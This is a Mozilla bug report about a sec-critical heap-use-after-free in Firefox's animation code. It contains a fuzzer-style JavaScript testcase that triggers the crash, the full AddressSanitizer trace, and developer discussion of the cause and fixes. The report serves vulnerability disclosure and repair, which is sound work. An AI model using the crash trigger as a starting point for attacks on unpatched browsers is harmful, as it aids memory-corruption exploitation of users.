Closed Bug 1336928 Opened 9 years ago Closed 9 years ago

heap-use-after-free in mozilla::dom::KeyframeEffectReadOnly::ComposeStyle

Categories

(Core :: DOM: Animation, defect)

Product:
Core
Component:
DOM: Animation
Type:
defect
Priority:
Not set
Severity:
normal

Tracking

()

Status:
RESOLVED DUPLICATE of bug 1331704
Tracking Flags:
Tracking Status
firefox54 --- affected

People

(Reporter: nils, Unassigned)

References

Details

(Keywords: csectype-uaf, sec-critical)

Attachments

(1 file, 1 obsolete file)

Call Animation::CancelFromStyle only if target element has not changed
6.97 KB, patch
Details | Diff | Splinter Review
The following testcase crashes the latest ASAN build of Firefox: <script> function start() { o0=window.document; o1=document.documentElement; o25=document.createElement('head'); o32=document.createElement('style'); o37=o0.head; o25.appendChild(o37); o55=document.createRange(); o0.designMode='on'; o70=document.createTextNode("@keyframes key4{\"a\"}{}\n*{ animation-name: key4; animation-duration: 0.01s"); o75=new KeyframeEffect(document.documentElement,[{MozBorderLeftColors: 'hsla(120,100%, 0.7) #ff00ff currentcolor',borderTopLeftRadius: '3vh 27vh'}],{"duration":33554432}); o75.target=o37; document.documentElement.parentNode.removeChild(o1); o55.insertNode(o32); o269=document.createElement('style'); document.documentElement.appendChild(o269); o269.style.display='contents'; document.documentElement.style.display='grid'; document.documentElement.appendChild(o70); try{o0.execCommand('delete',false,null);}catch(e){} o0.querySelector('[style]').style.cssText = ''; o579=o0.getAnimations()[0]; o579['effect']=o75; o269.appendChild(o25); } </script> <body onload="start()"></body> ================================================================= ==10009==ERROR: AddressSanitizer: heap-use-after-free on address 0x6110003355a8 at pc 0x7f5b89f72683 bp 0x7ffed5475c50 sp 0x7ffed5475c48 READ of size 8 at 0x6110003355a8 thread T0 (Web Content) #0 0x7f5b89f72682 in get /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:283:27 #1 0x7f5b89f72682 in operator-> /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:315 #2 0x7f5b89f72682 in mozilla::dom::KeyframeEffectReadOnly::ComposeStyle(mozilla::AnimationRule&, nsCSSPropertyIDSet const&) /home/worker/workspace/build/src/dom/animation/KeyframeEffectReadOnly.cpp:659 #3 0x7f5b89f7063a in mozilla::dom::Animation::ComposeStyle(mozilla::AnimationRule&, nsCSSPropertyIDSet const&) /home/worker/workspace/build/src/dom/animation/Animation.cpp:982:7 #4 0x7f5b89f8912d in mozilla::EffectCompositor::ComposeAnimationRule(mozilla::dom::Element*, mozilla::CSSPseudoElementType, mozilla::EffectCompositor::CascadeLevel, mozilla::TimeStamp) /home/worker/workspace/build/src/dom/animation/EffectCompositor.cpp:763:5 #5 0x7f5b89f89e73 in mozilla::EffectCompositor::AddStyleUpdatesTo(mozilla::RestyleTracker&) /home/worker/workspace/build/src/dom/animation/EffectCompositor.cpp:598:7 #6 0x7f5b8e2c283f in mozilla::RestyleManager::UpdateOnlyAnimationStyles() /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:882:5 #7 0x7f5b8e2c2259 in mozilla::RestyleManager::ProcessPendingRestyles() /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:761:5 #8 0x7f5b8e28449c in ProcessPendingRestyles /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RestyleManagerHandleInlines.h:75:3 #9 0x7f5b8e28449c in mozilla::PresShell::FlushPendingNotifications(mozilla::ChangesToFlush) /home/worker/workspace/build/src/layout/base/PresShell.cpp:4171 #10 0x7f5b8e215059 in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1833:11 #11 0x7f5b8e223345 in mozilla::RefreshDriverTimer::TickRefreshDrivers(long, mozilla::TimeStamp, nsTArray<RefPtr<nsRefreshDriver> >&) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:295:7 #12 0x7f5b8e223014 in mozilla::RefreshDriverTimer::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:317:5 #13 0x7f5b8e225054 in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::NotifyVsync(mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:506:9 #14 0x7f5b8eaa1134 in mozilla::layout::VsyncChild::RecvNotify(mozilla::TimeStamp const&) /home/worker/workspace/build/src/layout/ipc/VsyncChild.cpp:64:5 #15 0x7f5b88c71827 in mozilla::layout::PVsyncChild::OnMessageReceived(IPC::Message const&) /home/worker/workspace/build/src/obj-firefox/ipc/ipdl/PVsyncChild.cpp:160:20 #16 0x7f5b888e5437 in mozilla::ipc::PBackgroundChild::OnMessageReceived(IPC::Message const&) /home/worker/workspace/build/src/obj-firefox/ipc/ipdl/PBackgroundChild.cpp:1425:16 #17 0x7f5b8882a980 in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1795:14 #18 0x7f5b88826ebc in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1730:17 #19 0x7f5b888294f4 in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1603:5 #20 0x7f5b88829b3e in mozilla::ipc::MessageChannel::MessageTask::Run() /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1636:5 #21 0x7f5b87a2ad4b in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1261:7 #22 0x7f5b87a276a0 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:389:10 #23 0x7f5b8883288f in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:96:21 #24 0x7f5b887a4a48 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:3 #25 0x7f5b887a4a48 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231 #26 0x7f5b887a4a48 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211 #27 0x7f5b8db4834f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:3 #28 0x7f5b8fd4b397 in XRE_RunAppShell() /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:893:12 #29 0x7f5b887a4a48 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:3 #30 0x7f5b887a4a48 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231 #31 0x7f5b887a4a48 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211 #32 0x7f5b8fd4ac84 in XRE_InitChildProcess(int, char**, XREChildData const*) /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:725:7 #33 0x4df836 in content_process_main /home/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:64:19 #34 0x4df836 in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:284 #35 0x7f5ba2d3482f in __libc_start_main /build/glibc-t3gR2i/glibc-2.23/csu/../csu/libc-start.c:291 #36 0x41ba58 in _start (/home/nils/fuzzer3/firefox/firefox+0x41ba58) 0x6110003355a8 is located 40 bytes inside of 224-byte region [0x611000335580,0x611000335660) freed by thread T0 (Web Content) here: #0 0x4b21ab in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3 #1 0x7f5b8a537805 in DeletePropertyFor /home/worker/workspace/build/src/dom/base/nsPropertyTable.cpp:304:5 #2 0x7f5b8a537805 in nsPropertyTable::DeleteProperty(nsPropertyOwner, nsIAtom*) /home/worker/workspace/build/src/dom/base/nsPropertyTable.cpp:240 #3 0x7f5b8a4c5d2a in nsINode::DeleteProperty(unsigned short, nsIAtom*) /home/worker/workspace/build/src/dom/base/nsINode.cpp:187:3 #4 0x7f5b89f74cbf in UpdateTargetRegistration /home/worker/workspace/build/src/dom/animation/KeyframeEffectReadOnly.cpp:942:5 #5 0x7f5b89f74cbf in mozilla::dom::KeyframeEffectReadOnly::NotifyAnimationTimingUpdated() /home/worker/workspace/build/src/dom/animation/KeyframeEffectReadOnly.cpp:112 #6 0x7f5b89f72e75 in UpdateEffect /home/worker/workspace/build/src/dom/animation/Animation.cpp:1271:7 #7 0x7f5b89f72e75 in mozilla::dom::Animation::UpdateTiming(mozilla::dom::Animation::SeekFlag, mozilla::dom::Animation::SyncNotifyFlag) /home/worker/workspace/build/src/dom/animation/Animation.cpp:1202 #8 0x7f5b89f68718 in mozilla::dom::Animation::CancelNoUpdate() /home/worker/workspace/build/src/dom/animation/Animation.cpp:790:3 #9 0x7f5b8dea7a3e in CancelFromStyle /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/Animation.h:149:36 #10 0x7f5b8dea7a3e in CancelFromStyle /home/worker/workspace/build/src/layout/style/nsAnimationManager.h:128 #11 0x7f5b8dea7a3e in mozilla::AnimationCollection<mozilla::dom::CSSAnimation>::PropertyDtor(void*, nsIAtom*, void*, void*) /home/worker/workspace/build/src/layout/style/AnimationCollection.cpp:34 #12 0x7f5b8a537805 in DeletePropertyFor /home/worker/workspace/build/src/dom/base/nsPropertyTable.cpp:304:5 #13 0x7f5b8a537805 in nsPropertyTable::DeleteProperty(nsPropertyOwner, nsIAtom*) /home/worker/workspace/build/src/dom/base/nsPropertyTable.cpp:240 #14 0x7f5b8a4c5d2a in nsINode::DeleteProperty(unsigned short, nsIAtom*) /home/worker/workspace/build/src/dom/base/nsINode.cpp:187:3 #15 0x7f5b8df7939a in DeleteProperty /home/worker/workspace/build/src/dom/base/nsINode.h:834:5 #16 0x7f5b8df7939a in Destroy /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/AnimationCollection.h:61 #17 0x7f5b8df7939a in nsAnimationManager::UpdateAnimations(nsStyleContext*, mozilla::dom::Element*) /home/worker/workspace/build/src/layout/style/nsAnimationManager.cpp:426 #18 0x7f5b8e19f825 in nsStyleSet::GetContext(nsStyleContext*, nsRuleNode*, nsRuleNode*, nsIAtom*, mozilla::CSSPseudoElementType, mozilla::dom::Element*, unsigned int) /home/worker/workspace/build/src/layout/style/nsStyleSet.cpp:974:7 #19 0x7f5b8e1a43c9 in nsStyleSet::ResolveStyleForInternal(mozilla::dom::Element*, nsStyleContext*, TreeMatchContext&, nsStyleSet::AnimationFlag) /home/worker/workspace/build/src/layout/style/nsStyleSet.cpp:1393:10 #20 0x7f5b8e1a3bbc in ResolveStyleFor /home/worker/workspace/build/src/layout/style/nsStyleSet.cpp:1403:10 #21 0x7f5b8e1a3bbc in nsStyleSet::ResolveStyleFor(mozilla::dom::Element*, nsStyleContext*) /home/worker/workspace/build/src/layout/style/nsStyleSet.cpp:1350 #22 0x7f5b8dfd7edc in ResolveStyleFor /home/worker/workspace/build/src/layout/style/nsStyleSet.h:121:12 #23 0x7f5b8dfd7edc in ResolveStyleFor /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/StyleSetHandleInlines.h:85 #24 0x7f5b8dfd7edc in ResolveWithAnimation /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:500 #25 0x7f5b8dfd7edc in nsComputedDOMStyle::DoGetStyleContextForElementNoFlush(mozilla::dom::Element*, nsIAtom*, nsIPresShell*, nsComputedDOMStyle::StyleType, nsComputedDOMStyle::AnimationFlag) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:657 #26 0x7f5b8dfd7de4 in GetStyleContextForElementNoFlush /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:678:10 #27 0x7f5b8dfd7de4 in nsComputedDOMStyle::DoGetStyleContextForElementNoFlush(mozilla::dom::Element*, nsIAtom*, nsIPresShell*, nsComputedDOMStyle::StyleType, nsComputedDOMStyle::AnimationFlag) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:649 #28 0x7f5b8dfd7de4 in GetStyleContextForElementNoFlush /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:678:10 #29 0x7f5b8dfd7de4 in nsComputedDOMStyle::DoGetStyleContextForElementNoFlush(mozilla::dom::Element*, nsIAtom*, nsIPresShell*, nsComputedDOMStyle::StyleType, nsComputedDOMStyle::AnimationFlag) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:649 #30 0x7f5b8dfd8be9 in nsComputedDOMStyle::GetStyleContextForElementWithoutAnimation(mozilla::dom::Element*, nsIAtom*, nsIPresShell*) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:706:10 #31 0x7f5b89f9c2d6 in already_AddRefed<nsStyleContext> mozilla::dom::KeyframeEffectReadOnly::DoGetTargetStyleContext<(mozilla::dom::KeyframeEffectReadOnly::AnimationStyle)0>() /home/worker/workspace/build/src/dom/animation/KeyframeEffectReadOnly.cpp:993:10 #32 0x7f5b89f9ae44 in GetTargetStyleContextWithoutAnimation /home/worker/workspace/build/src/dom/animation/KeyframeEffectReadOnly.cpp:1006:10 #33 0x7f5b89f9ae44 in mozilla::dom::KeyframeEffectReadOnly::GetUnderlyingStyle(nsCSSPropertyID, RefPtr<mozilla::AnimValuesStyleRule> const&) /home/worker/workspace/build/src/dom/animation/KeyframeEffectReadOnly.cpp:370 #34 0x7f5b89f9b3de in mozilla::dom::KeyframeEffectReadOnly::CompositeValue(nsCSSPropertyID, RefPtr<mozilla::AnimValuesStyleRule> const&, mozilla::StyleAnimationValue const&, mozilla::dom::CompositeOperation) /home/worker/workspace/build/src/dom/animation/KeyframeEffectReadOnly.cpp:409:12 #35 0x7f5b89f712f8 in mozilla::dom::KeyframeEffectReadOnly::ComposeStyle(mozilla::AnimationRule&, nsCSSPropertyIDSet const&) /home/worker/workspace/build/src/dom/animation/KeyframeEffectReadOnly.cpp:601:9 #36 0x7f5b89f7063a in mozilla::dom::Animation::ComposeStyle(mozilla::AnimationRule&, nsCSSPropertyIDSet const&) /home/worker/workspace/build/src/dom/animation/Animation.cpp:982:7 #37 0x7f5b89f8912d in mozilla::EffectCompositor::ComposeAnimationRule(mozilla::dom::Element*, mozilla::CSSPseudoElementType, mozilla::EffectCompositor::CascadeLevel, mozilla::TimeStamp) /home/worker/workspace/build/src/dom/animation/EffectCompositor.cpp:763:5 #38 0x7f5b89f89e73 in mozilla::EffectCompositor::AddStyleUpdatesTo(mozilla::RestyleTracker&) /home/worker/workspace/build/src/dom/animation/EffectCompositor.cpp:598:7 #39 0x7f5b8e2c283f in mozilla::RestyleManager::UpdateOnlyAnimationStyles() /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:882:5 #40 0x7f5b8e2c2259 in mozilla::RestyleManager::ProcessPendingRestyles() /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:761:5 #41 0x7f5b8e28449c in ProcessPendingRestyles /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RestyleManagerHandleInlines.h:75:3 #42 0x7f5b8e28449c in mozilla::PresShell::FlushPendingNotifications(mozilla::ChangesToFlush) /home/worker/workspace/build/src/layout/base/PresShell.cpp:4171 #43 0x7f5b8e215059 in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1833:11 #44 0x7f5b8e223345 in mozilla::RefreshDriverTimer::TickRefreshDrivers(long, mozilla::TimeStamp, nsTArray<RefPtr<nsRefreshDriver> >&) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:295:7 #45 0x7f5b8e223014 in mozilla::RefreshDriverTimer::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:317:5 previously allocated by thread T0 (Web Content) here: #0 0x4b24cb in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3 #1 0x4e083d in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17 #2 0x7f5b89f8fa23 in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12 #3 0x7f5b89f8fa23 in mozilla::EffectSet::GetOrCreateEffectSet(mozilla::dom::Element*, mozilla::CSSPseudoElementType) /home/worker/workspace/build/src/dom/animation/EffectSet.cpp:76 #4 0x7f5b89f74c6e in UpdateTargetRegistration /home/worker/workspace/build/src/dom/animation/KeyframeEffectReadOnly.cpp:939:7 #5 0x7f5b89f74c6e in mozilla::dom::KeyframeEffectReadOnly::NotifyAnimationTimingUpdated() /home/worker/workspace/build/src/dom/animation/KeyframeEffectReadOnly.cpp:112 #6 0x7f5b89fa320b in mozilla::dom::KeyframeEffectReadOnly::SetAnimation(mozilla::dom::Animation*) /home/worker/workspace/build/src/dom/animation/KeyframeEffectReadOnly.cpp:1662:3 #7 0x7f5b89f6338e in mozilla::dom::Animation::SetEffectNoUpdate(mozilla::dom::AnimationEffectReadOnly*) /home/worker/workspace/build/src/dom/animation/Animation.cpp:183:5 #8 0x7f5b89f63a3d in mozilla::dom::Animation::SetEffect(mozilla::dom::AnimationEffectReadOnly*) /home/worker/workspace/build/src/dom/animation/Animation.cpp:130:3 #9 0x7f5b8a69dc25 in mozilla::dom::AnimationBinding::set_effect(JSContext*, JS::Handle<JSObject*>, mozilla::dom::Animation*, JSJitSetterCallArgs) /home/worker/workspace/build/src/obj-firefox/dom/bindings/AnimationBinding.cpp:152:3 #10 0x7f5b8bd8ece2 in mozilla::dom::GenericBindingSetter(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:2927:8 #11 0x7f5b917d2a37 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:281:15 #12 0x7f5b917d2a37 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:460 #13 0x7f5b917d4674 in InternalCall /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:505:12 #14 0x7f5b917d4674 in Call /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:524 #15 0x7f5b917d4674 in js::CallSetter(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::Handle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:651 #16 0x7f5b92713e01 in SetExistingProperty /home/worker/workspace/build/src/js/src/vm/NativeObject.cpp:2436:10 #17 0x7f5b92713e01 in js::NativeSetProperty(JSContext*, JS::Handle<js::NativeObject*>, JS::Handle<jsid>, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::QualifiedBool, JS::ObjectOpResult&) /home/worker/workspace/build/src/js/src/vm/NativeObject.cpp:2471 #18 0x7f5b917b16f7 in SetProperty /home/worker/workspace/build/src/js/src/vm/NativeObject.h:1444:12 #19 0x7f5b917b16f7 in SetPropertyOperation /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:259 #20 0x7f5b917b16f7 in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2750 #21 0x7f5b9179de6a in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:406:12 #22 0x7f5b917d2cdc in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:478:15 #23 0x7f5b917d33a2 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:524:10 #24 0x7f5b921d08ac in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2845:12 #25 0x7f5b8b90dda2 in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:259:37 #26 0x7f5b8c213f38 in Call<nsISupports *> /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:361:12 #27 0x7f5b8c213f38 in mozilla::JSEventHandler::HandleEvent(nsIDOMEvent*) /home/worker/workspace/build/src/dom/events/JSEventHandler.cpp:214 #28 0x7f5b8c1de4c4 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, nsIDOMEvent*, mozilla::dom::EventTarget*) /home/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1123:16 #29 0x7f5b8c1dffec in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent**, mozilla::dom::EventTarget*, nsEventStatus*) /home/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1297:20 #30 0x7f5b8c1cac63 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:465:5 #31 0x7f5b8c1ce554 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:822:9 #32 0x7f5b8e37c66e in nsDocumentViewer::LoadComplete(nsresult) /home/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1044:7 #33 0x7f5b8f237f40 in nsDocShell::EndPageLoad(nsIWebProgress*, nsIChannel*, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7626:5 #34 0x7f5b8f233e44 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7430:7 #35 0x7f5b8f23b6ef in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7327:13 #36 0x7f5b893f79e0 in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, nsresult) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:1256:3 #37 0x7f5b893f6978 in nsDocLoader::doStopDocumentLoad(nsIRequest*, nsresult) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:841:5 #38 0x7f5b893f36d6 in nsDocLoader::DocLoaderIsEmpty(bool) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:731:9 SUMMARY: AddressSanitizer: heap-use-after-free /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:283:27 in get Shadow bytes around the buggy address: 0x0c228005ea60: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c228005ea70: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c228005ea80: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c228005ea90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c228005eaa0: 00 fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c228005eab0: fd fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd 0x0c228005eac0: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa 0x0c228005ead0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c228005eae0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c228005eaf0: 00 00 fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c228005eb00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==10009==ABORTING
Flags: needinfo?(bbirtles)
Keywords: csectype-uaf, sec-critical
Blocks: 1305325
I believe this is another variant of bug 1331704, at least the one we should fix in bug 1331704.
Confirmed that patches for bug 1331704 fixes this.
Status: NEW → RESOLVED
Closed: 9 years ago
Resolution: --- → DUPLICATE
Flags: needinfo?(bbirtles)
Actually I confirmed that patches (attachment 8828630 [details] [diff] [review] I think) fixes this problem, but after some investigation I think the test case has another fundamental problem. The problem is that when changing effect of a CSSAnimation, i.e. the target element has been changed, AnimationCollection still has this CSSAnimation on the original element. Brian, should we drop the CSSAnimation from AnimationCollection when the target element is changed? At least in the test case in comment 0, this remaining CSSAnimation destroys EffectSet for the new target element (actually it's wrong target at this moment) because the CSSAnimation is cancelled due to "style.cssText = ''".
Flags: needinfo?(bbirtles)
Also, it seems to me that we don't change mOwningElement.
FWIW, this patch fixes this heap-after-free. This patch might be an overkill though.
When the target is changed, we should not drop the CSSAnimation from the AnimationCollection of its owning element. It's ok for the target element and owning element to differ. We keep tracking the animation in its owning element's AnimationCollection as long as it is still in the owning element's animation-name.
Flags: needinfo?(bbirtles)
Attachment #8834775 - Attachment is patch: true
Attachment #8834775 - Attachment mime type: text/x-patch → text/plain
(In reply to Brian Birtles (:birtles) from comment #6) > When the target is changed, we should not drop the CSSAnimation from the > AnimationCollection of its owning element. It's ok for the target element > and owning element to differ. We keep tracking the animation in its owning > element's AnimationCollection as long as it is still in the owning element's > animation-name. Thanks. So Calling CancelFromStyle() against CSSAnimation which has a different target element is correct or not?
Flags: needinfo?(bbirtles)
(In reply to Hiroyuki Ikezoe (:hiro) from comment #7) > Thanks. So Calling CancelFromStyle() against CSSAnimation which has a > different target element is correct or not? It's correct. For example, if you have: <div id=a></div> <div id=b></div> #a { animation: abc 10s; } @keyframes abc { to { transform: translate(100%); } } const anim = a.getAnimations()[0]; anim.effect = new KeyframeEffect(anim.effect); anim.effect.target = b; setTimeout(() => { a.style.animationName = 'none' }, 5000); Then, after 5s, you should still call CancelFromStyle on the original animation which should remove it from the AnimationCollection on 'a' and then it should remove itself from the EffectSet on 'b' since it is no longer relevant.
Flags: needinfo?(bbirtles)
(In reply to Brian Birtles (:birtles) from comment #9) > (In reply to Hiroyuki Ikezoe (:hiro) from comment #7) > > Thanks. So Calling CancelFromStyle() against CSSAnimation which has a > > different target element is correct or not? > > It's correct. > > For example, if you have: > > <div id=a></div> > <div id=b></div> > > #a { > animation: abc 10s; > } > @keyframes abc { to { transform: translate(100%); } } > > const anim = a.getAnimations()[0]; > anim.effect = new KeyframeEffect(anim.effect); > anim.effect.target = b; > > setTimeout(() => { a.style.animationName = 'none' }, 5000); > > Then, after 5s, you should still call CancelFromStyle on the original > animation which should remove it from the AnimationCollection on 'a' and > then it should remove itself from the EffectSet on 'b' since it is no longer > relevant. Hmm, I don't quite understand why the animation is not relevant state. Anyway if we call CancelFromStyle there, I am convinced that we should store base style in each KeyframeEffectReadOnly instead of EffectSet since the test case in comment 0 is the case that CancelFromStyle destroys an EffectSet during composing style.
If an animation is cancelled, it is not relevant since it is neither current (it's idle) nor in effect (its progress is null). What's the issue in this bug? Is it that we cancel an animation and it's the last thing keeping an EffectSet alive on one element, but then another element later in that restyle decides it needs the base style and is assuming it's there? Or something if that nature? If you could describe the issue in detail that would help a lot. I think putting base styles on the KeyframeEffectReadOnly might be ok as a temporary workaround. Long-term, however, it feels wasteful. One of the use cases for additive animation involves stacking dozens and dozens of animations on top of one another. In that situation storing the base style for each effect is undesirable. I'd prefer we work towards a situation where we can both (a) resolve computed property values while restyling (as discussed in bug 1331704 comment 75, I think we need to do this for correctness reasons anyway), and (b) fetch base styles during a restyle as needed.
(In reply to Brian Birtles (:birtles) from comment #11) > If an animation is cancelled, it is not relevant since it is neither current > (it's idle) nor in effect (its progress is null). > > What's the issue in this bug? Is it that we cancel an animation and it's the > last thing keeping an EffectSet alive on one element Right, in this case the 'one element' is the new target, and the new target has another KeyframeEffect which is composing styles at the moment. Oh wait, then we don't need to compose the styles for this another KeyframeEffect? We should bail out from ComposeStyle() when corresponding EffectSet is destroyed. Right? Hmm I guess AnimationRule is also broken at the momemnt. OK, the stack in the comment 0 shows up we try to access AnimationRule there. > I think putting base styles on the KeyframeEffectReadOnly might be ok as a > temporary workaround. Long-term, however, it feels wasteful. One of the use > cases for additive animation involves stacking dozens and dozens of > animations on top of one another. In that situation storing the base style > for each effect is undesirable. I totally agree. > I'd prefer we work towards a situation where we can both (a) resolve > computed property values while restyling (as discussed in bug 1331704 > comment 75, I think we need to do this for correctness reasons anyway), and > (b) fetch base styles during a restyle as needed. To be more precise 'restyling' is ambiguous, as far as I can tell it's resolving an nsStyleContext, but I think it will not work at least it will still have a risk of security issue, actually it increases a recursive call of resolving the nsStyleContext. I've started to implement what I commented in bug bug 1331704 comment 76, but it will be a huge change, I could not finish it up without many tries on the try server.
